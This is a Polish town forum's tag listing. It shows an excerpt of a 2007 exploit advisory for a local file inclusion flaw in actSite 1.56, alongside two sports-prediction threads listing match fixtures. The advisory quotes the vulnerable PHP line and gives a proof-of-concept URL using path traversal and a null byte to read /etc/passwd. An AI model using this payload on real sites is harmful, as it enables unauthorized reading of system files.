Forum Brzeg on
Regulamin Kalendarz Szukaj Album Rejestracja Zaloguj

MegaExpert
Strona Główna » Tagi » 56
Tematy oznaczone jako 56
Tytuł / treść wątku  Wyświetleń  Odpowiedzi 

Luka w: actSite 1.56 (news.php) Local File Inclusion Vulner


:: #'#/

(-.-)

-----------------oOO---(_)---OOo-----------------

| actSite v1.56 (news.php) Local File Inclusion |

| coded by DNX |

-------------------------------------------------

[!] Discovered: DNX

[!] Vendor: http://www.actsite.de

[!] Detected: 02.09.2007

[!] Reported: 02.09.2007

[!] Remote: yes



[!] Background: actSite is a content management system based on PHP and MySQL



[!] Bug: in phpinc/news.php line 101



require PHP_INCLUDE_PATH."/inc/news/news_$_POST[do].php";



[!] PoC:

- http://[site]/[path]/phpinc/news.php?do=/../../../../../../../etc/passwd%00



[!] Description:

- So why we can inject code in a post variable per url? Let's do some research...
...
7975 0

Piłka ręczna - 6. typowanie (5/6.11.05)


6. typowanie (5/6.11.05)

Bel-Pol Świdnica - Bór Oborniki Śl.
Żagiew Dzierżoniów - Zagłębie II Lubin
Pogoń Oleśnica - OSiR Komprachcice
Tęcza Leszno - AZS Gorzów Wlkp.
Ostrovia Ostrów Wlkp. - Krokus Bystrzyca Kł.
4573 7

Piłka nożna - 15. typowanie (5/6.11.05)


15. typowanie (5/6.11.05)

(IV) Victoria Cisek - Burza Lipki/Skarbimierz
(LO) LZS Proślice - BTP Piast Brzeg
(LO) Victoria Dobrzyń - LZS Mechnice
(A) Stal Zawadzkie - Olimpia Lewin Brzeski
(A) Rolnik Lasocice - Orzeł Olszanka
(A) Strażak Lipniki - Pogoń Łosiów
(A) Orlik Michałów - Polonia Przylesie
(B) LZS Kopice/Więcmierzyce - Skorpion Lubsza
(B) LZS Bąków - LZS Jankowice Wlk.
(B) Burza II Lipki - LZS Łukowice Brz.
(C) KS Pawłów - Sokół Małujowice
(J) Olimpia Lewin Brz. - BTP Piast Brzeg
4306 7


Powered by phpBB modified by Przemo © 2003 phpBB Group
Template BMan1Blue v 0.6 modified by Nasedo
Strona wygenerowana w 0,03 sekundy. Zapytań do SQL: 14
Nasze Serwisy:









Informator Miejski:

  • Katalog Firm w Brzegu